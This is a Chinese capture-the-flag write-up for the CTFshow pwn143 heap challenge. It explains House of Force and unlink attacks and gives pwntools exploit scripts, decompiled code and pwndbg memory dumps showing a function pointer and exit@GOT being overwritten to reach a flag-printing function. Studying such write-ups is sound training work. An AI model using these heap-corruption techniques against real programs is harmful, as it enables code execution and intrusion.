CTFSHOW-PWN--house-of-force和UNLINK
CTFshow-pwn143
这个题,算是彻底懂了HOF了(house of force)和unlink
源代码
审计代码发现flllllaaaaag函数:作用是将flag写并且打印出来;
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show();
break;
case 2:
add();
break;
case 3:
edit();
break;
case 4:
delete();
break;
case 5:
v4[1]();
exit(0);
default:
puts("Invaild choice!!!");
break;
}
}
}
以下是各个函数的伪代码
add
__int64 add()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("Full");
}
else
{
printf("Please enter the length:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("Invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020A8 + 2 * i) )
{
*((_DWORD *)&list + 4 * i) = v2;
*((_QWORD *)&unk_6020A8 + 2 * i) = malloc(v2);
printf("Please enter the name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * i) + (int)read(0, *((void **)&unk_6020A8 + 2 * i), v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}
delete
unsigned __int64 delete()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020A8 + 2 * v1) )
{
free(*((void **)&unk_6020A8 + 2 * v1));
*((_QWORD *)&unk_6020A8 + 2 * v1) = 0LL;
*((_DWORD *)&list + 4 * v1) = 0;
puts("free successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No");
}
return __readfsqword(0x28u) ^ v3;
}
show
int show()
{
int i; // [rsp+Ch] [rbp-4h]
if ( !num )
return puts("No");
for ( i = 0; i <= 99; ++i )
{
if ( *((_QWORD *)&unk_6020A8 + 2 * i) )
printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020A8 + 2 * i));
}
return puts(&byte_401137);
}
edit
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
int v2; // [rsp+10h] [rbp-20h]
char buf[8]; // [rsp+18h] [rbp-18h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020A8 + 2 * v1) )
{
printf("Please enter the length of name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int)read(0, *((void **)&unk_6020A8 + 2 * v1), v2)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return __readfsqword(0x28u) ^ v5;
}
最后有个有意思的东西,选项5
case 5:
v4[1]();
exit(0);
思路1-house of froce
我们可以在main看到,开局申请了个堆块,并且地址是v4;v4存了两个指针;其中v4[1]存的函数指针在选项5被再次调用,那么如果我们能修改这个指针为后门函数指针;那么我们就可以最后选择选项5来执行后门函数:
那么怎么实施呢?创建,删除,展示,都没有漏洞,但是修改函数存在:它可以让我们再次修改堆块大小和内容:那么就给了我们攻击的机会!!
这里用到了house of froce 手法,一种存在于2.28以前的攻击手法,将TOPchunk迁移到想要的地址,然后申请堆块就是我们需要修改的那块内存
那么这里我们需要修改v4[1]的内容;
首先迁移到v4,而v4实际上是一个堆块,那么就可以看到

计算TOPchunk_header到v4_header的距离:0x50
但是如果我们直接移到这里,我们需要malloc(-0x50);因为强制对齐的存在;那么此时实际上malloc(0xffffffffffffffffc0)我们所移动的距离小于我们需要的距离
所以我们需要malloc的大小x(req)应该满足
(x+0x8+0xf)&~0xf = 0xffffffffffffffff-0x50=0xffffffffffffffb0
计算:
x=0xffffffffffffffb0+k-0x17
k_max = 0xf;那么,代入计算得;
x = 0xffffffffffffffa8 = -0x58
所以这里我们需要知道我们实际上malloc的大小是-0x58(k=0xf) ~ -0x67(k=0)
所以,接下来就很简单了,直接将malloc(-0x58),将top chunk移动到v4;然后申请一个0x10大小的chunk,再填入pay=b’‘a’‘0x8+p64(shell);b’‘a’‘0x8为了覆盖v4[0],p64(shell)修改v4[1],,最后选择5,退出并且执行v4[1]指向的后门函数;
exp
最后exp
from pwn import*
io=remote('pwn.challenge.ctf.show',28154)
#io=process("./143")
#gdb.attach(io)
elf=ELF("./143")
def add(len,name):
io.sendlineafter("Your choice:",str(2))
io.sendlineafter("Please enter the length:",str(len))
io.sendlineafter("Please enter the name:",name)
def dete(index):
io.sendlineafter("Your choice:",str(4))
io.sendlineafter("Please enter the index:",str(index))
def edit(index,len,name):
io.sendlineafter("Your choice:",str(3))
io.sendlineafter("Please enter the index:",str(index))
io.sendlineafter("Please enter the length of name:",str(len))
io.sendlineafter("Please enter the new name:",name)
def show():
io.sendlineafter("Your choice:",str(1))
def bug():
gdb.attach(io)
pause()
add(0x20,b'aaaa')#0
#bug()
#TOPchunk-chunk0=0x50
edit(0,80,b'a'*(0x20+8)+p64(0xffffffffffffffff))
shell=0x0000000000400D83
size=-(0x50+8)
#size=-0x50
#size = 0xffffffffffffffa8
add(size,b'bbbb')
add(0x10,b'a'*8+p64(shell))
#pause()
io.sendlineafter("Your choice:",b'5')
#
io.interactive()
注意的点
这里有个注意的点,程序add对我们申请输入的长度做了限制:
printf("Please enter the length:");
read(0, buf, 8uLL);
v2 = atoi(buf);
所以这在移动top chunk 的时候只能malloc (-0x58)而不能malloc(0xffffffffffffffa8)(过长了)

思路2-unlink
前面是一样的,主要解释我的攻击方式
exp
首先exp
add(0x100,b'aaaa')
add(0x100,b'bbbb')
add(0x100,b'bbbb')
# bug()
exit_got = elf.got['exit']
fake_chunk_addr = 0x6020A8
fd = fake_chunk_addr - 0x18
bk = fake_chunk_addr - 0x10
fake_chunk = p64(0) + p64(0x101)
fake_chunk += p64(fd) + p64(bk)
fake_chunk = fake_chunk.ljust(0x100,b'a')
fake_chunk += p64(0x100) + p64(0x110)
edit(0,len(fake_chunk),fake_chunk)
dete(1)
# add(0x100,b'aaaa')
# add(0x100,b'cccc')
show_flag = 0x400D7F
pay = p64(0) + p64(0x100) + p64(0) + p64(fd) + p64(0) + p64(exit_got)
edit(0,len(pay),pay)
print(f'exit_got---->{hex(exit_got)}')
print(f'show_flag---->{hex(show_flag)}')
# gdb.attach(io)
add(0x100,"0")
pay1 = p64(show_flag)
edit(1,len(pay1),pay1)
io.sendlineafter("Your choice:",str(5))
# pause()
# bug()
itr()
因为我不喜欢那么长的,所以我就贴主体部分
思路
首先,我们需要申请3个堆块,然后在chunk0里面fake_chunk,然后,再修改unk_6020A8这个数组的chunk1为exit_got,然后修改chunk1为后门函数(其实这里泄露libc地址打system(“/bin/sh\x00”)也行,只是我比较懒,不想打),然后需要注意一个点就是,需要注意申请的chunk的大小,要大于0x80,要不然进入fastbin,导致无法unlink(无法合并,prv_inuse_p == 1),
ok,一段一段解释
fake_chunk_addr = 0x6020A8
fd = fake_chunk_addr - 0x18
bk = fake_chunk_addr - 0x10
fake_chunk = p64(0) + p64(0x101)
fake_chunk += p64(fd) + p64(bk)
fake_chunk = fake_chunk.ljust(0x100,b'a')
fake_chunk += p64(0x100) + p64(0x110)
edit(0,len(fake_chunk),fake_chunk)
这里将fake_chunk,但是需要注意chunk构造合法,就是fake_chunk应该是free状态,那么chunk1的prv_size应该是fake_chunk的大小,且chunk1的prv_inuse_P == 0,
效果如下
pwndbg> vis
0x9c19000 0x0000000000000000 0x0000000000000021 ........!.......
0x9c19010 0x0000000000400857 0x0000000000400876 W.@.....v.@.....
0x9c19020 0x0000000000000000 0x0000000000000111 ................chunk0
0x9c19030 0x0000000000000000 0x0000000000000101 ................fake_chunk
0x9c19040 0x0000000000602090 0x0000000000602098 . `...... `.....
0x9c19050 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19060 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19070 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19080 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19090 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c190a0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c190b0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c190c0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c190d0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c190e0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c190f0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19100 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19110 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19120 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x9c19130 0x0000000000000100 0x0000000000000110 ................chunk1
0x9c19140 0x0000000a62626200 0x0000000000000000 .bbb............
0x9c19150 0x0000000000000000 0x0000000000000000 ................
0x9c19160 0x0000000000000000 0x0000000000000000 ................
0x9c19170 0x0000000000000000 0x0000000000000000 ................
0x9c19180 0x0000000000000000 0x0000000000000000 ................
0x9c19190 0x0000000000000000 0x0000000000000000 ................
0x9c191a0 0x0000000000000000 0x0000000000000000 ................
0x9c191b0 0x0000000000000000 0x0000000000000000 ................
0x9c191c0 0x0000000000000000 0x0000000000000000 ................
0x9c191d0 0x0000000000000000 0x0000000000000000 ................
0x9c191e0 0x0000000000000000 0x0000000000000000 ................
0x9c191f0 0x0000000000000000 0x0000000000000000 ................
0x9c19200 0x0000000000000000 0x0000000000000000 ................
0x9c19210 0x0000000000000000 0x0000000000000000 ................
0x9c19220 0x0000000000000000 0x0000000000000000 ................
0x9c19230 0x0000000000000000 0x0000000000000000 ................
0x9c19240 0x0000000000000000 0x0000000000000111 ................chunk2
然后删除chunk1,从而触发unlink,
pwndbg> x/40gx 0x6020a8
0x6020a8 <list+8>: 0x0000000000602090 0x0000000000000000
0x6020b8 <list+24>: 0x0000000000000000 0x0000000000000100
0x6020c8 <list+40>: 0x000000003ad6b250 0x0000000000000000
0x6020d8 <list+56>: 0x0000000000000000 0x0000000000000000
0x6020e8 <list+72>: 0x0000000000000000 0x0000000000000000
0x6020f8 <list+88>: 0x0000000000000000 0x0000000000000000
发现原本应该chunk0的位置被修改为0x6020a8-0x18的位置,那么我们对chunk0的修改就是对0x6020a8-0x18这一块内存的修改,此时这里存储着chunk的指针,那么我们修改这些指针就可以达到修改堆块的内存的目的,比如,这里chunk0原本是某虚拟内存是一块,但是现在我们修改为0x6020a8-0x18附近的内存
同理,我们修改chunk1为exit_got的地址,那么到时候我们修改chunk1,就修改了exit_got的内容,从而控制实际执行exit的函数,
这里需要注意的一个点就是,申请堆块的函数
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020A8 + 2 * i) )
{
*((_DWORD *)&list + 4 * i) = v2;
*((_QWORD *)&unk_6020A8 + 2 * i) = malloc(v2);
printf("Please enter the name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * i) + (int)read(0, *((void **)&unk_6020A8 + 2 * i), v2)) = 0;
++num;
return 0LL;
}
}
这里可以看的,实际上是一个结构体,
struct{
char *size
char *prt//堆块返回的指针
}
那么在unk_6020A8中两个堆块地址之间的距离就不是8,而是16,而隔8 的地址上是size,
那么我们的pay就出现了
show_flag = 0x400D7F
pay = b'a'*0x18 + p64(fd) + p64(0) + p64(exit_got)
edit(0,len(pay),pay)
效果
wndbg> x/40gx 0x6020a8
0x6020a8 <list+8>: 0x0000000000602090 0x0000000000000000
0x6020b8 <list+24>: 0x0000000000602068 0x0000000000000100
0x6020c8 <list+40>: 0x0000000018c11250 0x0000000000000000
0x6020d8 <list+56>: 0x0000000000000000 0x0000000000000000
0x6020e8 <list+72>: 0x0000000000000000 0x0000000000000000
然后讲chunk1申请回来并且修改为show_flag
add(0x100,"0")
pay1 = p64(show_flag)
edit(1,len(pay1),pay1)
效果
pwndbg> x/40gx 0x0000000000602068
0x602068 <exit@got.plt>: 0x0000000000400d7f 0x0000000000000000
0x602078: 0x0000000000000000 0x000075bebb9c5620
0x602088: 0x0000000000000000 0x6161616161616161
可以看到修改成功
最后触发exit()函数
io.sendlineafter("Your choice:",str(5))
拿到flag
)\xed\xfe\x7f111111111
)\xed\xfe\x7f111111111
)\xed\xfe\x7f111111111
)\xed\xfe\x7f[*] Got EOF while reading in interactive
$
因为我是本地,我本地flag文件内容为
111111111

浙公网安备 33010602011771号